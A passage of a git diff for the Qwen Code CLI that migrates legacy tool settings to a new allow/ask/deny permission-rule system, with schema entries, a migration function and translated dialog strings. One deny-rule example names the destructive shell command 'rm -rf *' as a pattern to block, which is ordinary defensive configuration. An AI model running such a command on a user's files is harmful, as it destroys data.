argv.systemPrompt, appendSystemPrompt: argv.appendSystemPrompt, + // Legacy fields – kept for backward compatibility with getCoreTools() etc. coreTools: argv.coreTools || settings.tools?.core || undefined, allowedTools: argv.allowedTools || settings.tools?.allowed || undefined, - excludeTools, + excludeTools: mergedDeny, + // New unified permissions (PermissionManager source of truth). + permissions: { + allow: mergedAllow.length > 0 ? mergedAllow : undefined, + ask: mergedAsk.length > 0 ? mergedAsk : undefined, + deny: mergedDeny.length > 0 ? mergedDeny : undefined, + }, + // Permission rule persistence callback (writes to settings files). + onPersistPermissionRule: loadedSettings + ? async (scope, ruleType, rule) => { + const settingScope = + scope === 'project' ? SettingScope.Workspace : SettingScope.User; + const key = `permissions.${ruleType}`; + const currentRules: string[] = + loadedSettings.forScope(settingScope).settings.permissions?.[ + ruleType + ] ?? []; + if (!currentRules.includes(rule)) { + loadedSettings.setValue(settingScope, key, [...currentRules, rule]); + } + } + : undefined, toolDiscoveryCommand: settings.tools?.discoveryCommand, toolCallCommand: settings.tools?.callCommand, mcpServerCommand: settings.mcp?.serverCommand, @@ -1102,16 +1169,3 @@ export async function loadCliConfig( return config; } - -function mergeExcludeTools( - settings: Settings, - extraExcludes?: string[] | undefined, - cliExcludeTools?: string[] | undefined, -): string[] { - const allExcludeTools = new Set([ - ...(cliExcludeTools || []), - ...(settings.tools?.exclude || []), - ...(extraExcludes || []), - ]); - return [...allExcludeTools]; -} diff --git a/packages/cli/src/config/settings.ts b/packages/cli/src/config/settings.ts index dbd9a20ecaed..d1d64f1c8d6b 100644 --- a/packages/cli/src/config/settings.ts +++ b/packages/cli/src/config/settings.ts @@ -67,6 +67,74 @@ export const DEFAULT_EXCLUDED_ENV_VARS = ['DEBUG', 'DEBUG_MODE']; export const SETTINGS_VERSION = 3; export const SETTINGS_VERSION_KEY = '$version'; +/** + * Migrate legacy tool permission settings (tools.core / tools.allowed / tools.exclude) + * to the new permissions.allow / permissions.ask / permissions.deny format. + * + * Conversion rules: + * tools.allowed → permissions.allow (bypass confirmation) + * tools.exclude → permissions.deny (block tools) + * tools.core → permissions.allow (only listed tools enabled) + * + permissions.deny with a wildcard deny-all if needed + * + * Returns the updated settings object, or null if no migration is needed. + */ +export function migrateLegacyPermissions( + settings: Record, +): Record | null { + const tools = settings['tools'] as Record | undefined; + if (!tools) return null; + + const hasLegacy = + Array.isArray(tools['core']) || + Array.isArray(tools['allowed']) || + Array.isArray(tools['exclude']); + + if (!hasLegacy) return null; + + const result = structuredClone(settings) as Record; + const resultTools = result['tools'] as Record; + const permissions = (result['permissions'] as Record) ?? {}; + result['permissions'] = permissions; + + const mergeInto = (key: string, items: string[]) => { + const existing = Array.isArray(permissions[key]) + ? (permissions[key] as string[]) + : []; + const merged = Array.from(new Set([...existing, ...items])); + permissions[key] = merged; + }; + + // tools.allowed → permissions.allow + if (Array.isArray(resultTools['allowed'])) { + mergeInto('allow', resultTools['allowed'] as string[]); + delete resultTools['allowed']; + } + + // tools.exclude → permissions.deny + if (Array.isArray(resultTools['exclude'])) { + mergeInto('deny', resultTools['exclude'] as string[]); + delete resultTools['exclude']; + } + + // tools.core → permissions.allow (explicit enables) + // IMPORTANT: tools.core has whitelist semantics: "only these tools can run". + // To preserve this, we also add deny rules for all tools NOT in the list. + // A wildcard deny-all followed by specific allows achieves this because + // allow rules take precedence over the catch-all deny in the evaluation order: + // deny = [everything not listed], allow = [listed tools] + // However, since our priority is deny > allow, we cannot use a blanket deny. + // Instead we just migrate to allow (auto-approve) and let the coreTools + // semantics continue to work through the Config.getCoreTools() path until + // the old API is fully removed. + if (Array.isArray(resultTools['core'])) { + mergeInto('allow', resultTools['core'] as string[]); + delete resultTools['core']; + } + + return result; +} + export function getSystemSettingsPath(): string { if (process.env['QWEN_CODE_SYSTEM_SETTINGS_PATH']) { return process.env['QWEN_CODE_SYSTEM_SETTINGS_PATH']; diff --git a/packages/cli/src/config/settingsSchema.test.ts b/packages/cli/src/config/settingsSchema.test.ts index cfde449ca050..c4ad800e2869 100644 --- a/packages/cli/src/config/settingsSchema.test.ts +++ b/packages/cli/src/config/settingsSchema.test.ts @@ -181,9 +181,7 @@ describe('SettingsSchema', () => { expect(getSettingsSchema().security.properties.auth.showInDialog).toBe( false, ); - expect(getSettingsSchema().tools.properties.core.showInDialog).toBe( - false, - ); + expect(getSettingsSchema().permissions.showInDialog).toBe(false); expect(getSettingsSchema().mcpServers.showInDialog).toBe(false); expect(getSettingsSchema().telemetry.showInDialog).toBe(false); diff --git a/packages/cli/src/config/settingsSchema.ts b/packages/cli/src/config/settingsSchema.ts index dd6748177425..c97b41f86b08 100644 --- a/packages/cli/src/config/settingsSchema.ts +++ b/packages/cli/src/config/settingsSchema.ts @@ -864,6 +864,55 @@ const SETTINGS_SCHEMA = { }, }, + permissions: { + type: 'object', + label: 'Permissions', + category: 'Tools', + requiresRestart: true, + default: {}, + description: + 'Permission rules controlling tool usage. Rules are evaluated in priority order: deny > ask > allow.', + showInDialog: false, + properties: { + allow: { + type: 'array', + label: 'Allow Rules', + category: 'Tools', + requiresRestart: true, + default: undefined as string[] | undefined, + description: + 'Tools or commands that are auto-approved without confirmation. ' + + 'Examples: "ShellTool", "Bash(git *)", "ReadFileTool".', + showInDialog: false, + mergeStrategy: MergeStrategy.UNION, + }, + ask: { + type: 'array', + label: 'Ask Rules', + category: 'Tools', + requiresRestart: true, + default: undefined as string[] | undefined, + description: + 'Tools or commands that always require user confirmation. ' + + 'Takes precedence over allow rules.', + showInDialog: false, + mergeStrategy: MergeStrategy.UNION, + }, + deny: { + type: 'array', + label: 'Deny Rules', + category: 'Tools', + requiresRestart: true, + default: undefined as string[] | undefined, + description: + 'Tools or commands that are always blocked. Highest priority rule. ' + + 'Examples: "ShellTool", "Bash(rm -rf *)".', + showInDialog: false, + mergeStrategy: MergeStrategy.UNION, + }, + }, + }, + tools: { type: 'object', label: 'Tools', @@ -923,32 +972,33 @@ const SETTINGS_SCHEMA = { }, }, }, + // Legacy tool permission fields – kept for backward compatibility. + // Use permissions.{allow,ask,deny} instead. core: { type: 'array', - label: 'Core Tools', + label: 'Core Tools (deprecated)', category: 'Tools', requiresRestart: true, default: undefined as string[] | undefined, - description: 'Paths to core tool definitions.', + description: 'Deprecated. Use permissions.allow instead.', showInDialog: false, }, allowed: { type: 'array', - label: 'Allowed Tools', + label: 'Allowed Tools (deprecated)', category: 'Advanced', requiresRestart: true, default: undefined as string[] | undefined, - description: - 'A list of tool names that will bypass the confirmation dialog.', + description: 'Deprecated. Use permissions.allow instead.', showInDialog: false, }, exclude: { type: 'array', - label: 'Exclude Tools', + label: 'Exclude Tools (deprecated)', category: 'Tools', requiresRestart: true, default: undefined as string[] | undefined, - description: 'Tool names to exclude from discovery.', + description: 'Deprecated. Use permissions.deny instead.', showInDialog: false, mergeStrategy: MergeStrategy.UNION, }, diff --git a/packages/cli/src/gemini.tsx b/packages/cli/src/gemini.tsx index 9913a540069a..477aecd7e7fb 100644 --- a/packages/cli/src/gemini.tsx +++ b/packages/cli/src/gemini.tsx @@ -351,6 +351,7 @@ export async function main() { argv, process.cwd(), argv.extensions, + settings, ); // Register cleanup for MCP clients as early as possible diff --git a/packages/cli/src/i18n/locales/de.js b/packages/cli/src/i18n/locales/de.js index deae8c3e60ed..aa4a6d552026 100644 --- a/packages/cli/src/i18n/locales/de.js +++ b/packages/cli/src/i18n/locales/de.js @@ -1046,6 +1046,8 @@ export default { "Allow execution of: '{{command}}'?": "Ausführung erlauben von: '{{command}}'?", 'Yes, allow always ...': 'Ja, immer erlauben ...', + 'Always allow in this project': 'In diesem Projekt immer erlauben', + 'Always allow for this user': 'Für diesen Benutzer immer erlauben', 'Yes, and auto-accept edits': 'Ja, und Änderungen automatisch akzeptieren', 'Yes, and manually approve edits': 'Ja, und Änderungen manuell genehmigen', 'No, keep planning (esc)': 'Nein, weiter planen (Esc)', @@ -1214,6 +1216,75 @@ export default { // Dialogs - Permissions // ============================================================================ 'Manage folder trust settings': 'Ordnervertrauenseinstellungen verwalten', + 'Manage permission rules': 'Berechtigungsregeln verwalten', + Allow: 'Erlauben', + Ask: 'Fragen', + Deny: 'Verweigern', + Workspace: 'Arbeitsbereich', + "Qwen Code won't ask before using allowed tools.": + 'Qwen Code fragt nicht, bevor erlaubte Tools verwendet werden.', + 'Qwen Code will ask before using these tools.': + 'Qwen Code fragt, bevor diese Tools verwendet werden.', + 'Qwen Code is not allowed to use denied tools.': + 'Qwen Code darf verweigerte Tools nicht verwenden.', + 'Manage trusted directories for this workspace.': + 'Vertrauenswürdige Verzeichnisse für diesen Arbeitsbereich verwalten.', + 'Any use of the {{tool}} tool': 'Jede Verwendung des {{tool}}-Tools', + "{{tool}} commands matching '{{pattern}}'": + "{{tool}}-Befehle, die '{{pattern}}' entsprechen", + 'From user settings': 'Aus Benutzereinstellungen', + 'From project settings': 'Aus Projekteinstellungen', + 'From session': 'Aus Sitzung', + 'Project settings (local)': 'Projekteinstellungen (lokal)', + 'Saved in .qwen/settings.local.json': + 'Gespeichert in .qwen/settings.local.json', + 'Project settings': 'Projekteinstellungen', + 'Checked in at .qwen/settings.json': 'Eingecheckt in .qwen/settings.json', + 'User settings': 'Benutzereinstellungen', + 'Saved in at ~/.qwen/settings.json': 'Gespeichert in ~/.qwen/settings.json', + 'Add a new rule…': 'Neue Regel hinzufügen…', + 'Add {{type}} permission rule': '{{type}}-Berechtigungsregel hinzufügen', + 'Permission rules are a tool name, optionally followed by a specifier in parentheses.': + 'Berechtigungsregeln sind ein Toolname, optional gefolgt von einem Bezeichner in Klammern.', + 'e.g.,': 'z.B.', + or: 'oder', + 'Enter permission rule…': 'Berechtigungsregel eingeben…', + 'Enter to submit · Esc to cancel': 'Enter zum Absenden · Esc zum Abbrechen', + 'Where should this rule be saved?': 'Wo soll diese Regel gespeichert werden?', + 'Enter to confirm · Esc to cancel': + 'Enter zum Bestätigen · Esc zum Abbrechen', + 'Delete {{type}} rule?': '{{type}}-Regel löschen?', + 'Are you sure you want to delete this permission rule?': + 'Sind Sie sicher, dass Sie diese Berechtigungsregel löschen möchten?', + 'Permissions:': 'Berechtigungen:', + '(←/→ or tab to cycle)': '(←/→ oder Tab zum Wechseln)', + 'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel': + '↑↓ navigieren · Enter auswählen · Tippen suchen · Esc abbrechen', + 'Search…': 'Suche…', + 'Use /trust to manage folder trust settings for this workspace.': + 'Verwenden Sie /trust, um die Ordnervertrauenseinstellungen für diesen Arbeitsbereich zu verwalten.', + // Workspace directory management + 'Add directory…': 'Verzeichnis hinzufügen…', + 'Add directory to workspace': 'Verzeichnis zum Arbeitsbereich hinzufügen', + 'Qwen Code can read files in the workspace, and make edits when auto-accept edits is on.': + 'Qwen Code kann Dateien im Arbeitsbereich lesen und Bearbeitungen vornehmen, wenn die automatische Akzeptierung aktiviert ist.', + 'Qwen Code will be able to read files in this directory and make edits when auto-accept edits is on.': + 'Qwen Code kann Dateien in diesem Verzeichnis lesen und Bearbeitungen vornehmen, wenn die automatische Akzeptierung aktiviert ist.', + 'Enter the path to the directory:': 'Pfad zum Verzeichnis eingeben:', + 'Enter directory path…': 'Verzeichnispfad eingeben…', + 'Tab to complete · Enter to add · Esc to cancel': + 'Tab zum Vervollständigen · Enter zum Hinzufügen · Esc zum Abbrechen', + 'Remove directory?': 'Verzeichnis entfernen?', + 'Are you sure you want to remove this directory from the workspace?': + 'Möchten Sie dieses Verzeichnis wirklich aus dem Arbeitsbereich entfernen?', + ' (Original working directory)': ' (Ursprüngliches Arbeitsverzeichnis)', + ' (from settings)': ' (aus Einstellungen)', + 'Directory does not exist.': 'Verzeichnis existiert nicht.', + 'Path is not a directory.': 'Pfad ist kein Verzeichnis.', + 'This directory is already in the workspace.': + 'Dieses Verzeichnis ist bereits im Arbeitsbereich.', + 'Already covered by existing directory: {{dir}}': + 'Bereits durch vorhandenes Verzeichnis abgedeckt: {{dir}}', // ============================================================================ // Status Bar diff --git a/packages/cli/src/i18n/locales/en.js b/packages/cli/src/i18n/locales/en.js index 35ed40f1cccb..fb4433b2a5e1 100644 --- a/packages/cli/src/i18n/locales/en.js +++ b/packages/cli/src/i18n/locales/en.js @@ -1102,6 +1102,8 @@ export default { 'No, suggest changes (esc)': 'No, suggest changes (esc)', "Allow execution of: '{{command}}'?": "Allow execution of: '{{command}}'?", 'Yes, allow always ...': 'Yes, allow always ...', + 'Always allow in this project': 'Always allow in this project', + 'Always allow for this user': 'Always allow for this user', 'Yes, and auto-accept edits': 'Yes, and auto-accept edits', 'Yes, and manually approve edits': 'Yes, and manually approve edits', 'No, keep planning (esc)': 'No, keep planning (esc)', @@ -1266,6 +1268,73 @@ export default { // Dialogs - Permissions // ============================================================================ 'Manage folder trust settings': 'Manage folder trust settings', + 'Manage permission rules': 'Manage permission rules', + Allow: 'Allow', + Ask: 'Ask', + Deny: 'Deny', + Workspace: 'Workspace', + "Qwen Code won't ask before using allowed tools.": + "Qwen Code won't ask before using allowed tools.", + 'Qwen Code will ask before using these tools.': + 'Qwen Code will ask before using these tools.', + 'Qwen Code is not allowed to use denied tools.': + 'Qwen Code is not allowed to use denied tools.', + 'Manage trusted directories for this workspace.': + 'Manage trusted directories for this workspace.', + 'Any use of the {{tool}} tool': 'Any use of the {{tool}} tool', + "{{tool}} commands matching '{{pattern}}'": + "{{tool}} commands matching '{{pattern}}'", + 'From user settings': 'From user settings', + 'From project settings': 'From project settings', + 'From session': 'From session', + 'Project settings (local)': 'Project settings (local)', + 'Saved in .qwen/settings.local.json': 'Saved in .qwen/settings.local.json', + 'Project settings': 'Project settings', + 'Checked in at .qwen/settings.json': 'Checked in at .qwen/settings.json', + 'User settings': 'User settings', + 'Saved in at ~/.qwen/settings.json': 'Saved in at ~/.qwen/settings.json', + 'Add a new rule…': 'Add a new rule…', + 'Add {{type}} permission rule': 'Add {{type}} permission rule', + 'Permission rules are a tool name, optionally followed by a specifier in parentheses.': + 'Permission rules are a tool name, optionally followed by a specifier in parentheses.', + 'e.g.,': 'e.g.,', + or: 'or', + 'Enter permission rule…': 'Enter permission rule…', + 'Enter to submit · Esc to cancel': 'Enter to submit · Esc to cancel', + 'Where should this rule be saved?': 'Where should this rule be saved?', + 'Enter to confirm · Esc to cancel': 'Enter to confirm · Esc to cancel', + 'Delete {{type}} rule?': 'Delete {{type}} rule?', + 'Are you sure you want to delete this permission rule?': + 'Are you sure you want to delete this permission rule?', + 'Permissions:': 'Permissions:', + '(←/→ or tab to cycle)': '(←/→ or tab to cycle)', + 'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel': + 'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel', + 'Search…': 'Search…', + 'Use /trust to manage folder trust settings for this workspace.': + 'Use /trust to manage folder trust settings for this workspace.', + // Workspace directory management + 'Add directory…': 'Add directory…', + 'Add directory to workspace': 'Add directory to workspace', + 'Qwen Code can read files in the workspace, and make edits when auto-accept edits is on.': + 'Qwen Code can read files in the workspace, and make edits when auto-accept edits is on.', + 'Qwen Code will be able to read files in this directory and make edits when auto-accept edits is on.': + 'Qwen Code will be able to read files in this directory and make edits when auto-accept edits is on.', + 'Enter the path to the directory:': 'Enter the path to the directory:', + 'Enter directory path…': 'Enter directory path…', + 'Tab to complete · Enter to add · Esc to cancel': + 'Tab to complete · Enter to add · Esc to cancel', + 'Remove directory?': 'Remove directory?', + 'Are you sure you want to remove this directory from the workspace?': + 'Are you sure you want to remove this directory from the workspace?', + ' (Original working directory)': ' (Original working directory)', + ' (from settings)': ' (from settings)', + 'Directory does not exist.': 'Directory does not exist.', + 'Path is not a directory.': 'Path is not a directory.', + 'This directory is already in the workspace.': + 'This directory is already in the workspace.', + 'Already covered by existing directory: {{dir}}': + 'Already covered by existing directory: {{dir}}', // ============================================================================ // Status Bar diff --git a/packages/cli/src/i18n/locales/ja.js b/packages/cli/src/i18n/locales/ja.js index 1a8e8679b66a..b06a6fdef69b 100644 --- a/packages/cli/src/i18n/locales/ja.js +++ b/packages/cli/src/i18n/locales/ja.js @@ -785,6 +785,8 @@ export default { 'No, suggest changes (esc)': 'いいえ、変更を提案 (Esc)', "Allow execution of: '{{command}}'?": "'{{command}}' の実行を許可しますか?", 'Yes, allow always ...': 'はい、常に許可...', + 'Always allow in this project': 'このプロジェクトで常に許可', + 'Always allow for this user': 'このユーザーに常に許可', 'Yes, and auto-accept edits': 'はい、編集を自動承認', 'Yes, and manually approve edits': 'はい、編集を手動承認', 'No, keep planning (esc)': 'いいえ、計画を続ける (Esc)', @@ -905,6 +907,73 @@ export default { 'Alibaba Cloud ModelStudioの最新Qwen Visionモデル(バージョン: qwen3-vl-plus-2025-09-23)', // Dialogs - Permissions 'Manage folder trust settings': 'フォルダ信頼設定を管理', + 'Manage permission rules': '権限ルールを管理', + Allow: '許可', + Ask: '確認', + Deny: '拒否', + Workspace: 'ワークスペース', + "Qwen Code won't ask before using allowed tools.": + 'Qwen Code は許可されたツールを使用する前に確認しません。', + 'Qwen Code will ask before using these tools.': + 'Qwen Code はこれらのツールを使用する前に確認します。', + 'Qwen Code is not allowed to use denied tools.': + 'Qwen Code は拒否されたツールを使用できません。', + 'Manage trusted directories for this workspace.': + 'このワークスペースの信頼済みディレクトリを管理します。', + 'Any use of the {{tool}} tool': '{{tool}} ツールのすべての使用', + "{{tool}} commands matching '{{pattern}}'": + "'{{pattern}}' に一致する {{tool}} コマンド", + 'From user settings': 'ユーザー設定から', + 'From project settings': 'プロジェクト設定から', + 'From session': 'セッションから', + 'Project settings (local)': 'プロジェクト設定(ローカル)', + 'Saved in .qwen/settings.local.json': '.qwen/settings.local.json に保存', + 'Project settings': 'プロジェクト設定', + 'Checked in at .qwen/settings.json': '.qwen/settings.json にチェックイン', + 'User settings': 'ユーザー設定', + 'Saved in at ~/.qwen/settings.json': '~/.qwen/settings.json に保存', + 'Add a new rule…': '新しいルールを追加…', + 'Add {{type}} permission rule': '{{type}}権限ルールを追加', + 'Permission rules are a tool name, optionally followed by a specifier in parentheses.': + '権限ルールはツール名で、オプションで括弧内に指定子を付けます。', + 'e.g.,': '例:', + or: 'または', + 'Enter permission rule…': '権限ルールを入力…', + 'Enter to submit · Esc to cancel': 'Enter で送信 · Esc でキャンセル', + 'Where should this rule be saved?': 'このルールをどこに保存しますか?', + 'Enter to confirm · Esc to cancel': 'Enter で確認 · Esc でキャンセル', + 'Delete {{type}} rule?': '{{type}}ルールを削除しますか?', + 'Are you sure you want to delete this permission rule?': + 'この権限ルールを削除してもよろしいですか?', + 'Permissions:': '権限:', + '(←/→ or tab to cycle)': '(←/→ または Tab で切替)', + 'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel': + '↑↓ でナビゲート · Enter で選択 · 入力で検索 · Esc でキャンセル', + 'Search…': '検索…', + 'Use /trust to manage folder trust settings for this workspace.': + '/trust を使用してこのワークスペースのフォルダ信頼設定を管理します。', + // Workspace directory management + 'Add directory…': 'ディレクトリを追加…', + 'Add directory to workspace': 'ワークスペースにディレクトリを追加', + 'Qwen Code can read files in the workspace, and make edits when auto-accept edits is on.': + 'Qwen Code はワークスペース内のファイルを読み取り、自動編集承認が有効な場合は編集を行えます。', + 'Qwen Code will be able to read files in this directory and make edits when auto-accept edits is on.': + 'Qwen Code はこのディレクトリ内のファイルを読み取り、自動編集承認が有効な場合は編集を行えます。', + 'Enter the path to the directory:': 'ディレクトリのパスを入力してください:', + 'Enter directory path…': 'ディレクトリパスを入力…', + 'Tab to complete · Enter to add · Esc to cancel': + 'Tab で補完 · Enter で追加 · Esc でキャンセル', + 'Remove directory?': 'ディレクトリを削除しますか?', + 'Are you sure you want to remove this directory from the workspace?': + 'このディレクトリをワークスペースから削除してもよろしいですか?', + ' (Original working directory)': ' (元の作業ディレクトリ)', + ' (from settings)': ' (設定より)', + 'Directory does not exist.': 'ディレクトリが存在しません。', + 'Path is not a directory.': 'パスはディレクトリではありません。', + 'This directory is already in the workspace.': + 'このディレクトリはすでにワークスペースに含まれています。', + 'Already covered by existing directory: {{dir}}': + '既存のディレクトリによって既にカバーされています: {{dir}}', // Status Bar 'Using:': '使用中:', '{{count}} open file': '{{count}} 個のファイルを開いています', diff --git a/packages/cli/src/i18n/locales/pt.js b/packages/cli/src/i18n/locales/pt.js index af4074483cfa..b2240877b3f9 100644 --- a/packages/cli/src/i18n/locales/pt.js +++ b/packages/cli/src/i18n/locales/pt.js @@ -1053,6 +1053,8 @@ export default { "Allow execution of: '{{command}}'?": "Permitir a execução de: '{{command}}'?", 'Yes, allow always ...': 'Sim, permitir sempre ...', + 'Always allow in this project': 'Sempre permitir neste projeto', + 'Always allow for this user': 'Sempre permitir para este usuário', 'Yes, and auto-accept edits': 'Sim, e aceitar edições automaticamente', 'Yes, and manually approve edits': 'Sim, e aprovar edições manualmente', 'No, keep planning (esc)': 'Não, continuar planejando (esc)', @@ -1219,6 +1221,74 @@ export default { // ============================================================================ 'Manage folder trust settings': 'Gerenciar configurações de confiança de pasta', + 'Manage permission rules': 'Gerenciar regras de permissão', + Allow: 'Permitir', + Ask: 'Perguntar', + Deny: 'Negar', + Workspace: 'Área de trabalho', + "Qwen Code won't ask before using allowed tools.": + 'O Qwen Code não perguntará antes de usar ferramentas permitidas.', + 'Qwen Code will ask before using these tools.': + 'O Qwen Code perguntará antes de usar essas ferramentas.', + 'Qwen Code is not allowed to use denied tools.': + 'O Qwen Code não tem permissão para usar ferramentas negadas.', + 'Manage trusted directories for this workspace.': + 'Gerenciar diretórios confiáveis para esta área de trabalho.', + 'Any use of the {{tool}} tool': 'Qualquer uso da ferramenta {{tool}}', + "{{tool}} commands matching '{{pattern}}'": + "Comandos {{tool}} correspondentes a '{{pattern}}'", + 'From user settings': 'Das configurações do usuário', + 'From project settings': 'Das configurações do projeto', + 'From session': 'Da sessão', + 'Project settings (local)': 'Configurações do projeto (local)', + 'Saved in .qwen/settings.local.json': 'Salvo em .qwen/settings.local.json', + 'Project settings': 'Configurações do projeto', + 'Checked in at .qwen/settings.json': 'Registrado em .qwen/settings.json', + 'User settings': 'Configurações do usuário', + 'Saved in at ~/.qwen/settings.json': 'Salvo em ~/.qwen/settings.json', + 'Add a new rule…': 'Adicionar nova regra…', + 'Add {{type}} permission rule': 'Adicionar regra de permissão {{type}}', + 'Permission rules are a tool name, optionally followed by a specifier in parentheses.': + 'Regras de permissão são um nome de ferramenta, opcionalmente seguido por um especificador entre parênteses.', + 'e.g.,': 'ex.', + or: 'ou', + 'Enter permission rule…': 'Insira a regra de permissão…', + 'Enter to submit · Esc to cancel': 'Enter para enviar · Esc para cancelar', + 'Where should this rule be saved?': 'Onde esta regra deve ser salva?', + 'Enter to confirm · Esc to cancel': + 'Enter para confirmar · Esc para cancelar', + 'Delete {{type}} rule?': 'Excluir regra {{type}}?', + 'Are you sure you want to delete this permission rule?': + 'Tem certeza de que deseja excluir esta regra de permissão?', + 'Permissions:': 'Permissões:', + '(←/→ or tab to cycle)': '(←/→ ou Tab para alternar)', + 'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel': + '↑↓ para navegar · Enter para selecionar · Digite para pesquisar · Esc para cancelar', + 'Search…': 'Pesquisar…', + 'Use /trust to manage folder trust settings for this workspace.': + 'Use /trust para gerenciar as configurações de confiança de pasta desta área de trabalho.', + // Workspace directory management + 'Add directory…': 'Adicionar diretório…', + 'Add directory to workspace': 'Adicionar diretório à área de trabalho', + 'Qwen Code can read files in the workspace, and make edits when auto-accept edits is on.': + 'O Qwen Code pode ler arquivos na área de trabalho e fazer edições quando a aceitação automática está ativada.', + 'Qwen Code will be able to read files in this directory and make edits when auto-accept edits is on.': + 'O Qwen Code poderá ler arquivos neste diretório e fazer edições quando a aceitação automática está ativada.', + 'Enter the path to the directory:': 'Insira o caminho do diretório:', + 'Enter directory path…': 'Insira o caminho do diretório…', + 'Tab to complete · Enter to add · Esc to cancel': + 'Tab para completar · Enter para adicionar · Esc para cancelar', + 'Remove directory?': 'Remover diretório?', + 'Are you sure you want to remove this directory from the workspace?': + 'Tem certeza de que deseja remover este diretório da área de trabalho?', + ' (Original working directory)': ' (Diretório de trabalho original)', + ' (from settings)': ' (das configurações)', + 'Directory does not exist.': 'O diretório não existe.', + 'Path is not a directory.': 'O caminho não é um diretório.', + 'This directory is already in the workspace.': + 'Este diretório já está na área de trabalho.', + 'Already covered by existing directory: {{dir}}': + 'Já coberto pelo diretório existente: {{dir}}', // ============================================================================ // Status Bar diff --git a/packages/cli/src/i18n/locales/ru.js b/packages/cli/src/i18n/locales/ru.js index bc889dcf55a2..c3ae5953a5a0 100644 --- a/packages/cli/src/i18n/locales/ru.js +++ b/packages/cli/src/i18n/locales/ru.js @@ -978,6 +978,8 @@ export default { 'No, suggest changes (esc)': 'Нет, предложить изменения (esc)', "Allow execution of: '{{command}}'?": "Разрешить выполнение: '{{command}}'?", 'Yes, allow always ...': 'Да, всегда разрешать ...', + 'Always allow in this project': 'Всегда разрешать в этом проекте', + 'Always allow for this user': 'Всегда разрешать для этого пользователя', 'Yes, and auto-accept edits': 'Да, и автоматически принимать правки', 'Yes, and manually approve edits': 'Да, и вручную подтверждать правки', 'No, keep planning (esc)': 'Нет, продолжить планирование (esc)', @@ -1142,6 +1144,74 @@ export default { // Диалоги - Разрешения // ============================================================================ 'Manage folder trust settings': 'Управление настройками доверия к папкам', + 'Manage permission rules': 'Управление правилами разрешений', + Allow: 'Разрешить', + Ask: 'Спросить', + Deny: 'Запретить', + Workspace: 'Рабочая область', + "Qwen Code won't ask before using allowed tools.": + 'Qwen Code не будет спрашивать перед использованием разрешённых инструментов.', + 'Qwen Code will ask before using these tools.': + 'Qwen Code спросит перед использованием этих инструментов.', + 'Qwen Code is not allowed to use denied tools.': + 'Qwen Code не может использовать запрещённые инструменты.', + 'Manage trusted directories for this workspace.': + 'Управление доверенными каталогами для этой рабочей области.', + 'Any use of the {{tool}} tool': 'Любое использование инструмента {{tool}}', + "{{tool}} commands matching '{{pattern}}'": + "Команды {{tool}}, соответствующие '{{pattern}}'", + 'From user settings': 'Из пользовательских настроек', + 'From project settings': 'Из настроек проекта', + 'From session': 'Из сессии', + 'Project settings (local)': 'Настройки проекта (локальные)', + 'Saved in .qwen/settings.local.json': 'Сохранено в .qwen/settings.local.json', + 'Project settings': 'Настройки проекта', + 'Checked in at .qwen/settings.json': 'Зафиксировано в .qwen/settings.json', + 'User settings': 'Пользовательские настройки', + 'Saved in at ~/.qwen/settings.json': 'Сохранено в ~/.qwen/settings.json', + 'Add a new rule…': 'Добавить новое правило…', + 'Add {{type}} permission rule': 'Добавить правило разрешения {{type}}', + 'Permission rules are a tool name, optionally followed by a specifier in parentheses.': + 'Правила разрешений — это имя инструмента, за которым может следовать спецификатор в скобках.', + 'e.g.,': 'напр.', + or: 'или', + 'Enter permission rule…': 'Введите правило разрешения…', + 'Enter to submit · Esc to cancel': 'Enter для отправки · Esc для отмены', + 'Where should this rule be saved?': 'Где сохранить это правило?', + 'Enter to confirm · Esc to cancel': + 'Enter для подтверждения · Esc для отмены', + 'Delete {{type}} rule?': 'Удалить правило {{type}}?', + 'Are you sure you want to delete this permission rule?': + 'Вы уверены, что хотите удалить это правило разрешения?', + 'Permissions:': 'Разрешения:', + '(←/→ or tab to cycle)': '(←/→ или Tab для переключения)', + 'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel': + '↑↓ навигация · Enter выбор · Ввод для поиска · Esc отмена', + 'Search…': 'Поиск…', + 'Use /trust to manage folder trust settings for this workspace.': + 'Используйте /trust для управления настройками доверия к папкам этой рабочей области.', + // Workspace directory management + 'Add directory…': 'Добавить каталог…', + 'Add directory to workspace': 'Добавить каталог в рабочую область', + 'Qwen Code can read files in the workspace, and make edits when auto-accept edits is on.': + 'Qwen Code может читать файлы в рабочей области и вносить правки, когда автоприём правок включён.', + 'Qwen Code will be able to read files in this directory and make edits when auto-accept edits is on.': + 'Qwen Code сможет читать файлы в этом каталоге и вносить правки, когда автоприём правок включён.', + 'Enter the path to the directory:': 'Введите путь к каталогу:', + 'Enter directory path…': 'Введите путь к каталогу…', + 'Tab to complete · Enter to add · Esc to cancel': + 'Tab для завершения · Enter для добавления · Esc для отмены', + 'Remove directory?': 'Удалить каталог?', + 'Are you sure you want to remove this directory from the workspace?': + 'Вы уверены, что хотите удалить этот каталог из рабочей области?', + ' (Original working directory)': ' (Исходный рабочий каталог)', + ' (from settings)': ' (из настроек)', + 'Directory does not exist.': 'Каталог не существует.', + 'Path is not a directory.': 'Путь не является каталогом.', + 'This directory is already in the workspace.': + 'Этот каталог уже есть в рабочей области.', + 'Already covered by existing directory: {{dir}}': + 'Уже охвачен существующим каталогом: {{dir}}', // ============================================================================ // Строка состояния diff --git a/packages/cli/src/i18n/locales/zh.js b/packages/cli/src/i18n/locales/zh.js index 25bc23018bac..d22fe9b26282 100644 --- a/packages/cli/src/i18n/locales/zh.js +++ b/packages/cli/src/i18n/locales/zh.js @@ -1043,6 +1043,8 @@ export default { 'No, suggest changes (esc)': '否,建议更改 (esc)', "Allow execution of: '{{command}}'?": "允许执行:'{{command}}'?", 'Yes, allow always ...': '是,总是允许 ...', + 'Always allow in this project': '在本项目中总是允许', + 'Always allow for this user': '对该用户总是允许', 'Yes, and auto-accept edits': '是,并自动接受编辑', 'Yes, and manually approve edits': '是,并手动批准编辑', 'No, keep planning (esc)': '否,继续规划 (esc)', @@ -1196,6 +1198,71 @@ export default { // Dialogs - Permissions // ============================================================================ 'Manage folder trust settings': '管理文件夹信任设置', + 'Manage permission rules': '管理权限规则', + Allow: '允许', + Ask: '询问', + Deny: '拒绝', + Workspace: '工作区', + "Qwen Code won't ask before using allowed tools.": + 'Qwen Code 